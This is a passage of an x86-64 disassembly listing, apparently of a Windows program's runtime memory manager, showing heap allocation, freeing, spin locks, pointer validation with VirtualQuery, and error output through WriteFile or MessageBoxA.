    00404030mov ecx, [rip+0x61b72]
    00404036sub ecx, ebx
    00404038jb 0x40405b
    0040403amov rax, [rip+0x61b5f]
    00404041sub rax, rbx
    00404044mov [rip+0x61b55], rax
    0040404bmov [rip+0x61b57], ecx
    00404051or rbx, 2
    00404055mov [rax-8], rbx
    00404059jmp 0x404062
    0040405b
    0040405bloc_40405b:
    0040405bmov ecx, ebx
    0040405dcall fn_403980
    00404062
    00404062loc_404062:
    00404062xor cl, cl
    00404064mov [rip+0x61b2e], cl
    0040406ajmp 0x404108
    0040406f
    0040406floc_40406f:
    0040406flea rdi, [rip+0x61bba]
    00404076lea eax, [ecx+ecx]
    0040407alea rdi, [rdi+8*rax]
    0040407emov rsi, [rdi+8]
    00404082mov rax, [rsi+8]
    00404086mov [rdi+8], rax
    0040408amov [rax], rdi
    0040408dcmp rdi, rax
    00404090jne 0x4040ad
    00404092mov eax, -2
    00404097rol eax, cl
    00404099lea r8, [rip+0x61b10]
    004040a0and [r8+4*rdx], eax
    004040a4jne 0x4040ad
    004040a6btr [rip+0x61aff], edx
    004040ad
    004040adloc_4040ad:
    004040admov rdi, -16
    004040b7and rdi, [rsi-8]
    004040bbmov edx, edi
    004040bdsub edx, ebx
    004040bfje 0x4040e1
    004040c1lea rcx, [rsi+rbx]
    004040c5lea rax, [rdx+3]
    004040c9mov [rcx-8], rax
    004040cdmov [rcx+rdx-16], rdx
    004040d2cmp edx, 2864
    004040d8jb 0x4040e6
    004040dacall fn_403870
    004040dfjmp 0x4040e6
    004040e1
    004040e1loc_4040e1:
    004040e1and [rsi+rdi-8], 247
    004040e6
    004040e6loc_4040e6:
    004040e6lea rcx, [rbx+2]
    004040eamov [rsi-8], rcx
    004040eexor cl, cl
    004040f0mov [rip+0x61aa2], cl
    004040f6mov rax, rsi
    004040f9jmp 0x404108
    004040fb
    004040fbloc_4040fb:
    004040fbxor rax, rax
    004040fetest rcx, rcx
    00404101js 0x404108
    00404103call fn_403a70
    00404108
    00404108loc_404108:
    00404108lea rsp, [rbp+40]
    0040410cpop rbx
    0040410dpop rsi
    0040410epop rdi
    0040410fpop rbp
    00404110ret
    00403d50
    00404111
    00404111 // align 0x10
    00404120
    00404120fn_404120:
    00404120push rbp
    00404121push rsi
    00404122push rbx
    00404123sub rsp, 32
    00404127mov rbp, rsp
    0040412amov rdx, [rcx-8]
    0040412etest dl, 7
    00404131mov bl, [rip+0x60f62]
    00404137jne 0x40420b
    0040413dtest bl, bl
    0040413fmov rbx, [rdx]
    00404142jne 0x4041b9
    00404144
    00404144loc_404144:
    00404144sub [rdx+32], 1
    00404148mov rax, [rdx+24]
    0040414cje 0x404186
    0040414etest rax, rax
    00404151mov [rdx+24], rcx
    00404155lea rax, [rax+1]
    00404159mov [rcx-8], rax
    0040415dje 0x404168
    0040415fxor eax, eax
    00404161mov [rbx], al
    00404163jmp 0x40432e
    00404168
    00404168loc_404168:
    00404168mov rcx, [rbx+8]
    0040416cmov [rdx+16], rbx
    00404170mov [rdx+8], rcx
    00404174mov [rcx+16], rdx
    00404178mov [rbx+8], rdx
    0040417cmov [rbx], 0
    0040417fxor eax, eax
    00404181jmp 0x40432e
    00404186
    00404186loc_404186:
    00404186test rax, rax
    00404189je 0x4041a4
    0040418bmov rax, [rdx+16]
    0040418fmov rcx, [rdx+8]
    00404193mov [rax+8], rcx
    00404197mov [rcx+16], rax
    0040419bxor rax, rax
    0040419ecmp [rbx+40], rdx
    004041a2jne 0x4041a8
    004041a4
    004041a4loc_4041a4:
    004041a4mov [rbx+32], rax
    004041a8
    004041a8loc_4041a8:
    004041a8mov [rbx], al
    004041aamov rcx, rdx
    004041admov rdx, [rdx-8]
    004041b1mov bl, [rip+0x60ee2]
    004041b7jmp 0x404214
    004041b9
    004041b9loc_4041b9:
    004041b9mov eax, 256
    004041belock cmpxchg [rbx], ah
    004041c2je 0x404144
    004041c4nop
    004041c6lea rax, [rip+0x61858]
    004041cdcmp [rax], 0
    004041d0jne 0x4041b9
    004041d2mov rsi, rcx
    004041d5mov ecx, 0
    004041dacall Sleep
    004041dfmov rcx, rsi
    004041e2mov rdx, [rcx-8]
    004041e6mov eax, 256
    004041eblock cmpxchg [rbx], ah
    004041efje 0x404144
    004041f5mov rsi, rcx
    004041f8mov ecx, 10
    004041fdcall Sleep
    00404202mov rcx, rsi
    00404205mov rdx, [rcx-8]
    00404209jmp 0x4041b9
    0040420b
    0040420bloc_40420b:
    0040420btest dl, 5
    0040420ejne 0x40431f
    00404214
    00404214loc_404214:
    00404214and rdx, -16
    00404218test bl, bl
    0040421amov rbx, rdx
    0040421dmov rsi, rcx
    00404220je 0x404227
    00404222call fn_4037d0
    00404227
    00404227loc_404227:
    00404227test [rsi+rbx-8], 1
    0040422fmov rcx, [rsi+rbx-8]
    00404234jne 0x404272
    00404236or rcx, 8
    0040423amov [rsi+rbx-8], rcx
    0040423f
    0040423floc_40423f:
    0040423ftest [rsi-8], 8
    00404243jne 0x404290
    00404245
    00404245loc_404245:
    00404245cmp ebx, 0x13ffd0
    0040424bje 0x4042ac
    0040424dlea rax, [rbx+3]
    00404251mov [rsi-8], rax
    00404255mov [rsi+rbx-16], rbx
    0040425amov rcx, rsi
    0040425dmov rdx, rbx
    00404260call fn_403870
    00404265xor eax, eax
    00404267mov [rip+0x6192b], al
    0040426djmp 0x40432e
    00404272
    00404272loc_404272:
    00404272lea rax, [rsi+rbx]
    00404276and rcx, -16
    0040427aadd rbx, rcx
    0040427dcmp rcx, 2864
    00404284jb 0x40423f
    00404286mov rcx, rax
    00404289call fn_403820
    0040428ejmp 0x40423f
    00404290
    00404290loc_404290:
    00404290mov rcx, [rsi-16]
    00404294sub rsi, rcx
    00404297add rbx, rcx
    0040429acmp ecx, 2864
    004042a0jb 0x404245
    004042a2mov rcx, rsi
    004042a5call fn_403820
    004042aajmp 0x404245
    004042ac
    004042acloc_4042ac:
    004042aclea r8, [rip+0x618f5]
    004042b3cmp [r8], 0x13ffd0
    004042bajne 0x4042ed
    004042bcsub rsi, 32
    004042c0mov rax, [rsi]
    004042c3mov rdx, [rsi+8]
    004042c7mov [rax+8], rdx
    004042cbmov [rdx], rax
    004042cexor eax, eax
    004042d0mov [rip+0x618c2], al
    004042d6mov rcx, rsi
    004042d9xor edx, edx
    004042dbmov r8l, 32768
    004042e1call VirtualFree
    004042e6cmp eax, 1
    004042e9sbb eax, eax
    004042ebjmp 0x40432e
    004042ed
    004042edloc_4042ed:
    004042edlea rbx, [rsi+0x13ffd0]
    004042f4call fn_4038e0
    004042f9mov [rbx-8], 2
    00404301lea rax, [rip+0x618a0]
    00404308mov [rax], 0x13ffd0
    0040430emov [rip+0x6188b], rbx
    00404315xor eax, eax
    00404317mov [rip+0x6187b], al
    0040431djmp 0x40432e
    0040431f
    0040431floc_40431f:
    0040431fmov eax, -1
    00404324test dl, 3
    00404327jne 0x40432e
    00404329call fn_403b00
    0040432e
    0040432eloc_40432e:
    0040432elea rsp, [rbp+32]
    00404332pop rbx
    00404333pop rsi
    00404334pop rbp
    00404335ret
    00404120
    00404336
    00404336 // align 0x10
    00404340
    00404340fn_404340:
    00404340push rbp
    00404341push r15
    00404343push r14
    00404345push rdi
    00404346push rsi
    00404347push rbx
    00404348sub rsp, 40
    0040434cmov rbp, rsp
    0040434fmov rsi, rcx
    00404352mov rcx, [rcx-8]
    00404356test cl, 7
    00404359jne 0x40440f
    0040435fmov rbx, [rcx]
    00404362movzx ecx, [rbx+2]
    00404366sub ecx, 8
    00404369cmp rcx, rdx
    0040436cjb 0x4043b7
    0040436elea ebx, [4*edx+64]
    00404376cmp ebx, ecx
    00404378jb 0x404382
    0040437amov rax, rsi
    0040437djmp 0x404699
    00404382
    00404382loc_404382:
    00404382mov rbx, rdx
    00404385mov rcx, rdx
    00404388call fn_403d50
    0040438dtest rax, rax
    00404390je 0x404699
    00404396mov r8, rbx
    00404399mov rdx, rax
    0040439cmov rbx, rax
    0040439fmov rcx, rsi
    004043a2call fn_4037a0
    004043a7mov rcx, rsi
    004043aacall fn_404120
    004043afmov rax, rbx
    004043b2jmp 0x404699
    004043b7
    004043b7loc_4043b7:
    004043b7lea ecx, [ecx+ecx+32]
    004043bcmov rdi, rdx
    004043bfxor rax, rax
    004043c2sub rcx, rdx
    004043c5adc rax, -1
    004043c9and rcx, rax
    004043ccadd rcx, rdx
    004043cfcall fn_403d50
    004043d4test rax, rax
    004043d7je 0x404699
    004043ddcmp rdi, 0x40a28
    004043e4jbe 0x4043ea
    004043e6mov [rax-16], rdi
    004043ea
    004043ealoc_4043ea:
    004043eamovzx r8l, [rbx+2]
    004043efsub r8l, 8
    004043f3mov rdx, rax
    004043f6mov rdi, rax
    004043f9mov rcx, rsi
    004043fccall [rbx+48]
    004043ffmov rcx, rsi
    00404402call fn_404120
    00404407mov rax, rdi
    0040440ajmp 0x404699
    0040440f
    0040440floc_40440f:
    0040440ftest cl, 5
    00404412jne 0x404688
    00404418mov rbx, rcx
    0040441band ecx, -16
    0040441elea rdi, [rsi+rcx]
    00404422sub ecx, 8
    00404425and ebx, 15
    00404428cmp rdx, rcx
    0040442bja 0x40453a
    00404431lea r15, [rdx+rdx]
    00404435cmp r15, rcx
    00404438jb 0x404442
    0040443a
    0040443aloc_40443a:
    0040443amov rax, rsi
    0040443djmp 0x404699
    00404442
    00404442loc_404442:
    00404442cmp edx, 2856
    00404448jae 0x40445f
    0040444acmp edx, 716
    00404450jb 0x404505
    00404456mov edx, 2856
    0040445bcmp ecx, edx
    0040445djbe 0x40443a
    0040445f
    0040445floc_40445f:
    0040445flea r15, [rdx+215]
    00404466and r15, -256
    0040446dadd r15, 48
    00404471add ecx, 8
    00404474sub ecx, r15l
    00404477lea r8, [rip+0x60c1b]
    0040447ecmp [r8], 0
    00404482je 0x40449b
    00404484mov ebx, ecx
    00404486call fn_4037d0
    0040448bmov ecx, ebx
    0040448dmov rbx, 15
    00404497and rbx, [rsi-8]
    0040449b
    0040449bloc_40449b:
    0040449bor rbx, r15
    0040449emov [rsi-8], rbx
    004044a2mov ebx, ecx
    004044a4mov rdx, [rdi-8]
    004044a8test dl, 1
    004044abjne 0x4044b7
    004044ador rdx, 8
    004044b1mov [rdi-8], rdx
    004044b5jmp 0x4044d1
    004044b7
    004044b7loc_4044b7:
    004044b7mov rcx, rdi
    004044baand rdx, -16
    004044beadd rbx, rdx
    004044c1add rdi, rdx
    004044c4cmp edx, 2864
    004044cajb 0x4044d1
    004044cccall fn_403820
    004044d1
    004044d1loc_4044d1:
    004044d1mov [rdi-16], rbx
    004044d5lea rcx, [rbx+3]
    004044d9mov [rsi+r15-8], rcx
    004044decmp rbx, 2864
    004044e5jb 0x4044f3
    004044e7lea rcx, [rsi+r15]
    004044ebmov rdx, rbx
    004044eecall fn_403870
    004044f3
    004044f3loc_4044f3:
    004044f3lea rax, [rip+0x6169e]
    004044famov [rax], 0
    004044fdmov rax, rsi
    00404500jmp 0x404699
    00404505
    00404505loc_404505:
    00404505mov rdi, rdx
    00404508mov rcx, rdx
    0040450bcall fn_403d50
    00404510test rax, rax
    00404513je 0x404699
    00404519mov r15, rax
    0040451cmov rdx, rax
    0040451fmov rcx, rsi
    00404522mov r8, rdi
    00404525call fn_4037a0
    0040452amov rcx, rsi
    0040452dcall fn_404120
    00404532mov rax, r15
    00404535jmp 0x404699
    0040453a
    0040453aloc_40453a:
    0040453amov rax, [rdi-8]
    0040453etest al, 1
    00404540je 0x40462f
    00404546and rax, -16
    0040454alea r15, [rax+rcx]
    0040454ecmp rdx, r15
    00404551ja 0x40462f
    00404557lea r8, [rip+0x60b3b]
    0040455ecmp [r8], 0
    00404562je 0x40459f
    00404564mov rbx, rcx
    00404567mov r15, rdx
    0040456acall fn_4037d0
    0040456fmov rcx, rbx
    00404572mov rdx, r15
    00404575mov rbx, 15
    0040457fand rbx, [rsi-8]
    00404583mov rax, [rdi-8]
    00404587test al, 1
    00404589je 0x404625
    0040458fand eax, -16
    00404592lea r15, [rax+rcx]
    00404596cmp rdx, r15
    00404599ja 0x404625
    0040459f
    0040459floc_40459f:
    0040459fcmp eax, 2864
    004045a4jb 0x4045ba
    004045a6mov r14, rcx
    004045a9mov rcx, rdi
    004045acmov rdi, rdx
    004045afcall fn_403820
    004045b4mov rcx, r14
    004045b7mov rdx, rdi
    004045ba
    004045baloc_4045ba:
    004045bamov eax, ecx
    004045bcshr eax, 2
    004045bfadd eax, ecx
    004045c1xor edi, edi
    004045c3sub eax, edx
    004045c5adc edi, -1
    004045c8and eax, edi
    004045calea eax, [eax+edx+215]
    004045d2and eax, -256
    004045d7add eax, 48
    004045dalea rdx, [r15+8]
    004045desub edx, eax
    004045e0ja 0x4045ed
    004045e2and [rsi+r15], -9
    004045e7add r15, 8
    004045ebjmp 0x40460f
    004045ed
    004045edloc_4045ed:
    004045edmov [rsi+r15-8], rdx
    004045f2lea edi, [edx+3]
    004045f6mov [rsi+rax-8], rdi
    004045fbmov r15, rax
    004045fecmp edx, 2864
    00404604jb 0x40460f
    00404606lea rcx, [rsi+rax]
    0040460acall fn_403870
    0040460f
    0040460floc_40460f:
    0040460for r15, rbx
    00404612mov [rsi-8], r15
    00404616lea rax, [rip+0x6157b]
    0040461dmov [rax], 0
    00404620mov rax, rsi
    00404623jmp 0x404699
    00404625
    00404625loc_404625:
    00404625lea rax, [rip+0x6156c]
    0040462cmov [rax], 0
    0040462f
    0040462floc_40462f:
    0040462fmov eax, ecx
    00404631shr eax, 2
    00404634add eax, ecx
    00404636xor rdi, rdi
    00404639sub rax, rdx
    0040463cadc rdi, -1
    00404640and rax, rdi
    00404643add rax, rdx
    00404646mov r15, rax
    00404649mov edi, ecx
    0040464bmov rbx, rdx
    0040464emov rcx, rax
    00404651call fn_403d50
    00404656mov rdx, rbx
    00404659test eax, eax
    0040465bje 0x404699
    0040465dcmp r15, 0x40a28
    00404664jbe 0x40466a
    00404666mov [rax-16], rdx
    0040466a
    0040466aloc_40466a:
    0040466amov r15, rax
    0040466dmov rdx, rax
    00404670mov rcx, rsi
    00404673mov r8, rdi
    00404676call fn_4037a0
    0040467bmov rcx, rsi
    0040467ecall fn_404120
    00404683mov rax, r15
    00404686jmp 0x404699
    00404688
    00404688loc_404688:
    00404688test cl, 3
    0040468bjne 0x404697
    0040468dmov rcx, rsi
    00404690call fn_403bc0
    00404695jmp 0x404699
    00404697
    00404697loc_404697:
    00404697xor eax, eax
    00404699
    00404699loc_404699:
    00404699lea rsp, [rbp+40]
    0040469dpop rbx
    0040469epop rsi
    0040469fpop rdi
    004046a0pop r14
    004046a2pop r15
    004046a4pop rbp
    004046a5ret
    00404340
    004046a6
    004046a6 // align 0x10
    004046b0
    004046b0fn_4046b0:
    004046b0push rbp
    004046b1push rbx
    004046b2sub rsp, 40
    004046b6mov rbp, rsp
    004046b9lea rbx, [rcx-1]
    004046bdand rbx, -8
    004046c1call fn_403d50
    004046c6cmp rax, 1
    004046casbb rcx, rcx
    004046cdlea rdx, [rax+rbx]
    004046d1or rbx, rcx
    004046d4je 0x4046f1
    004046d6cmp rbx, 0x40a28
    004046ddjae 0x4046f7
    004046dfneg rbx
    004046e2pxor x0, x0
    004046e6
    004046e6loc_4046e6:
    004046e6movdqa [rdx+rbx], x0
    004046ebadd rbx, 16
    004046efjs 0x4046e6
    004046f1
    004046f1loc_4046f1:
    004046f1xor rcx, rcx
    004046f4mov [rdx], rcx
    004046f7
    004046f7loc_4046f7:
    004046f7lea rsp, [rbp+40]
    004046fbpop rbx
    004046fcpop rbp
    004046fdret
    004046b0
    004046fe
    004046fe // align 0x10
    00404700
    00404700fn_404700:
    00404700push rbp
    00404701push rdi
    00404702push rsi
    00404703push rbx
    00404704sub rsp, 72
    00404708mov rbp, rsp
    0040470bmov rbx, rcx
    0040470emov rsi, rdx
    00404711cmp [rip+0x60980], 0
    00404718je 0x4047b8
    0040471emov ecx, -12
    00404723call GetStdHandle
    00404728mov rdi, rax
    0040472bmov rcx, rsi
    0040472ecall fn_40c580
    00404733mov rcx, rdi
    00404736mov rdx, rsi
    00404739mov r8l, eax
    0040473clea r9, [rbp+60]
    00404740mov [rsp+32], 0
    00404749call WriteFile
    0040474emov ecx, -12
    00404753call GetStdHandle
    00404758mov rsi, rax
    0040475bmov rcx, [rip+0x54956]
    00404762call fn_40c580
    00404767mov rcx, rsi
    0040476amov rdx, [rip+0x54947]
    00404771mov r8l, eax
    00404774lea r9, [rbp+60]
    00404778mov [rsp+32], 0
    00404781call WriteFile
    00404786mov ecx, -12
    0040478bcall GetStdHandle
    00404790mov rsi, rax
    00404793mov rcx, rbx
    00404796call fn_40c580
    0040479bmov rcx, rsi
    0040479emov rdx, rbx
    004047a1mov r8l, eax
    004047a4lea r9, [rbp+60]
    004047a8mov [rsp+32], 0
    004047b1call WriteFile
    004047b6jmp 0x4047cb
    004047b8
    004047b8loc_4047b8:
    004047b8xor ecx, ecx
    004047bamov rdx, rbx
    004047bdmov r8, rsi
    004047c0mov r9l, 8208
    004047c6call MessageBoxA
    004047cb
    004047cbloc_4047cb:
    004047cblea rsp, [rbp+72]
    004047cfpop rbx
    004047d0pop rsi
    004047d1pop rdi
    004047d2pop rbp
    004047d3ret
    00404700
    004047d4
    004047d4 // align 0x10
    004047e0
    004047e0fn_4047e0:
    004047e0mov rax, rcx
    004047e3mov ecx, [rax-8]
    004047e6and ecx, -16
    004047e9mov ecx, ecx
    004047eblea rax, [rax+rcx]
    004047efmov ecx, [rax-8]
    004047f2and ecx, -16
    004047f5test ecx, ecx
    004047f7jne 0x4047fb
    004047f9xor eax, eax
    004047fb
    004047fbloc_4047fb:
    004047fbret
    004047e0
    004047fc
    004047fc // align 0x10
    00404800
    00404800fn_404800:
    00404800cmp [rip+0x613a1], 0
    00404807je 0x404822
    00404809cmp [rip+0x61390], rcx
    00404810jb 0x404822
    00404812lea rax, [rcx+0x13fff0]
    00404819cmp [rip+0x61380], rax
    00404820jbe 0x404828
    00404822
    00404822loc_404822:
    00404822lea rax, [rcx+32]
    00404826jmp 0x40483f
    00404828
    00404828loc_404828:
    00404828cmp [rip+0x61376], 0x13ffd0
    00404832je 0x40483d
    00404834mov rax, [rip+0x61365]
    0040483bjmp 0x40483f
    0040483d
    0040483dloc_40483d:
    0040483dxor eax, eax
    0040483f
    0040483floc_40483f:
    0040483fret
    00404800
    00404840
    00404840fn_404840:
    00404840lea rax, [rcx+48]
    00404844mov [rdx], rax
    00404847mov rdx, [rcx]
    0040484acmp [rdx+40], rcx
    0040484ejne 0x40485a
    00404850mov rax, [rdx+24]
    00404854cmp rax, [rdx+32]
    00404858jbe 0x404873
    0040485a
    0040485aloc_40485a:
    0040485amov eax, [rcx-8]
    0040485dand eax, -16
    00404860mov eax, eax
    00404862lea rax, [rcx+rax]
    00404866movzx rcx, [rdx+2]
    0040486bsub rax, rcx
    0040486emov [r8], rax
    00404871jmp 0x40487e
    00404873
    00404873loc_404873:
    00404873mov rax, [rdx+24]
    00404877lea rax, [rax-1]
    0040487bmov [r8], rax
    0040487e
    0040487eloc_40487e:
    0040487eret
    00404840
    0040487f
    0040487f // align 0x10
    00404880
    00404880fn_404880:
    00404880push rbp
    00404881push rsi
    00404882push rbx
    00404883sub rsp, 64
    00404887mov rbp, rsp
    0040488amov rax, rcx
    0040488dmov rbx, rdx
    00404890xor ecx, ecx
    00404892
    00404892loc_404892:
    00404892mov r8, rax
    00404895mov r9l, 10
    0040489bxor edx, edx
    0040489ddiv r9
    004048a0mov rdx, rax
    004048a3add rdx, rdx
    004048a6lea rdx, [rdx+4*rdx]
    004048aasub r8, rdx
    004048adadd ecx, 1
    004048b0mov edx, 20
    004048b5sub edx, ecx
    004048b7mov edx, edx
    004048b9lea r8, [r8+48]
    004048bdmov [rbp+rdx+44], r8b
    004048c2test rax, rax
    004048c5jne 0x404892
    004048c7mov esi, ecx
    004048c9lea rcx, [rdx+rbp+44]
    004048cemov rdx, rbx
    004048d1mov r8, rsi
    004048d4call fn_405ac0
    004048d9lea rax, [rbx+rsi]
    004048ddlea rsp, [rbp+64]
    004048e1pop rbx
    004048e2pop rsi
    004048e3pop rbp
    004048e4ret
    00404880
    004048e5
    004048e5 // align 0x10
    004048f0
    004048f0fn_4048f0:
    004048f0push rsi
    004048f1push rbx
    004048f2sub rsp, 40
    004048f6mov rbx, rdx
    004048f9mov esi, r8l
    004048fcmov rdx, rbx
    004048ffmov r8, rsi
    00404902call fn_405ac0
    00404907lea rax, [rbx+rsi]
    0040490badd rsp, 40
    0040490fpop rbx
    00404910pop rsi
    00404911ret
    004048f0
    00404912
    00404912 // align 0x10
    00404920
    00404920fn_404920:
    00404920push rbx
    00404921sub rsp, 32
    00404925mov rbx, rdx
    00404928test rcx, rcx
    0040492bje 0x404946
    0040492dmov rax, [rcx-136]
    00404934lea rcx, [rax+1]
    00404938mov rdx, rbx
    0040493bmovzx r8, [rax]
    0040493fcall fn_4048f0
    00404944jmp 0x404964
    00404946
    00404946loc_404946:
    00404946mov rcx, [rip+0x54753]
    0040494dcall fn_40c580
    00404952mov rcx, [rip+0x54747]
    00404959mov rdx, rbx
    0040495cmov r8l, eax
    0040495fcall fn_4048f0
    00404964
    00404964loc_404964:
    00404964add rsp, 32
    00404968pop rbx
    00404969ret
    00404920
    0040496a
    0040496a // align 0x10
    00404970
    00404970fn_404970:
    00404970push rbp
    00404971push rbx
    00404972sub rsp, 40
    00404976mov rbp, rsp
    00404979mov rbx, rcx
    0040497cmov rax, rdx
    0040497fcmp rax, 65535
    00404986jbe 0x4049f6
    00404988test rax, 3
    0040498fjne 0x4049f6
    00404991mov rax, [rbx+32]
    00404995mov rcx, rdx
    00404998cmp rax, rcx
    0040499bja 0x4049ae
    0040499dmov r8, [rbx+56]
    004049a1lea rax, [rax+r8]
    004049a5lea rcx, [rcx+8]
    004049a9cmp rax, rcx
    004049acjae 0x4049c8
    004049ae
    004049aeloc_4049ae:
    004049aemov [rbx+56], 0
    004049b6mov rcx, rdx
    004049b9lea rdx, [rbx+32]
    004049bdmov r8l, 48
    004049c3call VirtualQuery
    004049c8
    004049c8loc_4049c8:
    004049c8cmp [rbx+56], 8
    004049cdjb 0x4049ee
    004049cfcmp [rbx+64], 4096
    004049d6jne 0x4049ee
    004049d8mov eax, [rbx+68]
    004049dbtest eax, 246
    004049e1je 0x4049ee
    004049e3mov eax, [rbx+68]
    004049e6test eax, 256
    004049ecje 0x4049f2
    004049ee
    004049eeloc_4049ee:
    004049eexor eax, eax
    004049f0jmp 0x4049f8
    004049f2
    004049f2loc_4049f2:
    004049f2mov al, 1
    004049f4jmp 0x4049f8
    004049f6
    004049f6loc_4049f6:
    004049f6xor eax, eax
    004049f8
    004049f8loc_4049f8:
    004049f8lea rsp, [rbp+40]
    004049fcpop rbx
    004049fdpop rbp
    004049feret
    00404970
    004049ff
    004049ff // align 0x10
    00404a00
    00404a00fn_404a00:
    00404a00push rbp
    00404a01push r13
    00404a03push rdi
    00404a04push rsi
    00404a05push rbx
    00404a06sub rsp, 32
    00404a0amov rbp, rsp
    00404a0dmov rbx, rcx
    00404a10mov rsi, rdx
    00404a13mov edi, r8l
    00404a16cmp edi, 1000
    00404a1cjge 0x404a81
    00404a1emov rcx, rbx
    00404a21lea rdx, [rsi-200]
    00404a28call fn_404970
    00404a2dtest al, al
    00404a2fje 0x404a81
    00404a31mov rcx, rbx
    00404a34lea rdx, [rsi-120]
    00404a38call fn_404970
    00404a3dtest al, al
    00404a3fje 0x404a81
    00404a41mov r13, [rsi-120]
    00404a45cmp [rsi-200], rsi
    00404a4cjne 0x404a79
    00404a4etest r13, r13
    00404a51je 0x404a7d
    00404a53mov rcx, rbx
    00404a56mov rdx, r13
    00404a59call fn_404970
    00404a5etest al, al
    00404a60je 0x404a79
    00404a62mov rcx, rbx
    00404a65mov rdx, [r13]
    00404a69mov r8l, edi
    00404a6cadd r8l, 1
    00404a70call fn_404a00
    00404a75test al, al
    00404a77jne 0x404a7d
    00404a79
    00404a79loc_404a79:
    00404a79xor eax, eax
    00404a7bjmp 0x404a83
    00404a7d
    00404a7dloc_404a7d:
    00404a7dmov al, 1
    00404a7fjmp 0x404a83
    00404a81
    00404a81loc_404a81:
    00404a81xor eax, eax
    00404a83
    00404a83loc_404a83:
    00404a83lea rsp, [rbp+32]
    00404a87pop rbx
    00404a88pop rsi
    00404a89pop rdi
    00404a8apop r13
    00404a8cpop rbp
    00404a8dret
    00404a00
    00404a8e
    00404a8e // align 0x10
    00404a90
    00404a90fn_404a90:
    00404a90push rbp
    00404a91push rbx
    00404a92sub rsp, 88
    00404a96mov rbp, rsp
    00404a99mov rbx, [rcx]
    00404a9cmov [rbp+56], 0
    00404aa4mov rcx, rbp
    00404aa7mov rdx, rbx
    00404aaaxor r8, r8
    00404aadcall fn_404a00
    00404ab2test al, al
    00404ab4jne 0x404ab8
    00404ab6xor ebx, ebx
    00404ab8
    00404ab8loc_404ab8:
    00404ab8mov rax, rbx
    00404abblea rsp, [rbp+88]
    00404abfpop rbx
    00404ac0pop rbp
    00404ac1ret
    00404a90
    00404ac2
    00404ac2 // align 0x10
    00404ad0
    00404ad0fn_404ad0:
    00404ad0sub rsp, 40
    00404ad4cmp [rip+0x605be], 0
    00404adbje 0x404b1a
    00404addjmp 0x404b09
    00404adf
    00404adfloc_404adf:
    00404adfcmp [rip+0x60f3f], 0
    00404ae6jne 0x404b09
    00404ae8xor ecx, ecx
    00404aeacall Sleep
    00404aefxor eax, eax
    00404af1mov cl, 1
    00404af3lock cmpxchg [rip+0x65165], cl
    00404afbtest al, al
    00404afdje 0x404b19
    00404affmov ecx, 10
    00404b04call Sleep
    00404b09
    00404b09loc_404b09:
    00404b09xor eax, eax
    00404b0bmov cl, 1
    00404b0dlock cmpxchg [rip+0x6514b], cl
    00404b15test al, al
    00404b17jne 0x404adf
    00404b19
    00404b19loc_404b19:
    00404b19nop
    00404b1a
    00404b1aloc_404b1a:
    00404b1acmp [rip+0x65136], 0
    00404b22jne 0x404b43
    00404b24xor ecx, ecx
    00404b26mov edx, 0x10000
    00404b2bmov r8l, 4096
    00404b31mov r9l, 4
    00404b37call VirtualAlloc
    00404b3cmov [rip+0x65115], rax
    00404b43
    00404b43loc_404b43:
    00404b43cmp [rip+0x6510d], 0
    00404b4bsetne al
    00404b4eadd rsp, 40
    00404b52ret
    00404ad0
    00404b53
    00404b53 // align 0x10
    00404b60
    00404b60fn_404b60:
    00404b60push rbx
    00404b61sub rsp, 32
    00404b65mov rbx, rcx
    00404b68call fn_404ad0
    00404b6dtest al, al
    00404b6fje 0x404ba4
    00404b71mov rax, [rip+0x650e0]
    00404b78cmp [rax], 8190
    00404b7ejge 0x404ba4
    00404b80mov rax, [rip+0x650d1]
    00404b87mov rcx, [rip+0x650ca]
    00404b8emovsxd rcx, [rcx]
    00404b91mov [rax+8*rcx+8], rbx
    00404b96mov rax, [rip+0x650bb]
    00404b9dadd [rax], 1
    00404ba0mov al, 1
    00404ba2jmp 0x404ba6
    00404ba4
    00404ba4loc_404ba4:
    00404ba4xor eax, eax
    00404ba6
    00404ba6loc_404ba6:
    00404ba6mov [rip+0x650b3], 0
    00404badadd rsp, 32
    00404bb1pop rbx
    00404bb2ret
    00404b60
    00404bb3
    00404bb3 // align 0x10
    00404bc0
    00404bc0fn_404bc0:
    00404bc0push rsi
    00404bc1push rbx
    00404bc2sub rsp, 40
    00404bc6mov rbx, rcx
    00404bc9xor esi, esi
    00404bcccmp [rip+0x65084], 0
    00404bd4je 0x404c53
    00404bd6call fn_404ad0
    00404bdbtest al, al
    00404bddje 0x404c53
    00404bdfxor ecx, ecx
    00404be1mov rax, [rip+0x65070]
    00404be8mov edx, [rax]
    00404beasub edx, 1
    00404bedmov eax, ecx
    00404befcmp eax, edx
    00404bf1jg 0x404c4b
    00404bf3sub edx, ecx
    00404bf5add edx, 1
    00404bf8
    00404bf8loc_404bf8:
    00404bf8movsxd rcx, eax
    00404bfbmov r8, [rip+0x65056]
    00404c02cmp [r8+8*rcx+8], rbx
    00404c07jne 0x404c41
    00404c09mov rax, [rip+0x65048]
    00404c10mov rdx, [rip+0x65041]
    00404c17mov r8, [rip+0x6503a]
    00404c1emov r8l, [r8]
    00404c21sub r8l, 1
    00404c25movsxd r8, r8l
    00404c28mov rdx, [rdx+8*r8+8]
    00404c2dmov [rax+8*rcx+8], rdx
    00404c32mov rax, [rip+0x6501f]
    00404c39sub [rax], 1
    00404c3cmov sil, 1
    00404c3fjmp 0x404c4b
    00404c41
    00404c41loc_404c41:
    00404c41add eax, 1
    00404c44sub edx, 1
    00404c47test edx, edx
    00404c49jne 0x404bf8
    00404c4b
    00404c4bloc_404c4b:
    00404c4bnop
    00404c4cmov [rip+0x6500d], 0
    00404c53
    00404c53loc_404c53:
    00404c53mov eax, esi
    00404c56add rsp, 40
    00404c5apop rbx
    00404c5bpop rsi
    00404c5cret
    00404bc0
    00404c5d
    00404c5d // align 0x10
    00404c60
    00404c60fn_404c60:
    00404c60push rbp
    00404c61push r13
    00404c63push rdi
    00404c64push rsi
    00404c65push rbx
    00404c66sub rsp, 48
    00404c6amov rbp, rsp
    00404c6dmov rbx, rcx
    00404c70mov rsi, rdx
    00404c73lea rax, [rip+0x5445e]
    00404c7amov rcx, [rsi]
    00404c7dsub rcx, rax
    00404c80shr rcx, 6
    00404c84mov eax, ecx
    00404c86mov eax, eax
    00404c88shl rax, 9
    00404c8clea r13, [rbx+8*rax+0x10050]
    00404c94mov rcx, rsi
    00404c97lea rdx, [rbp+40]
    00404c9blea r8, [rbp+32]
    00404c9fcall fn_404840
    00404ca4jmp 0x404e38
    00404ca9
    00404ca9loc_404ca9:
    00404ca9mov rax, [rbp+40]
    00404cadmov rax, [rax-8]
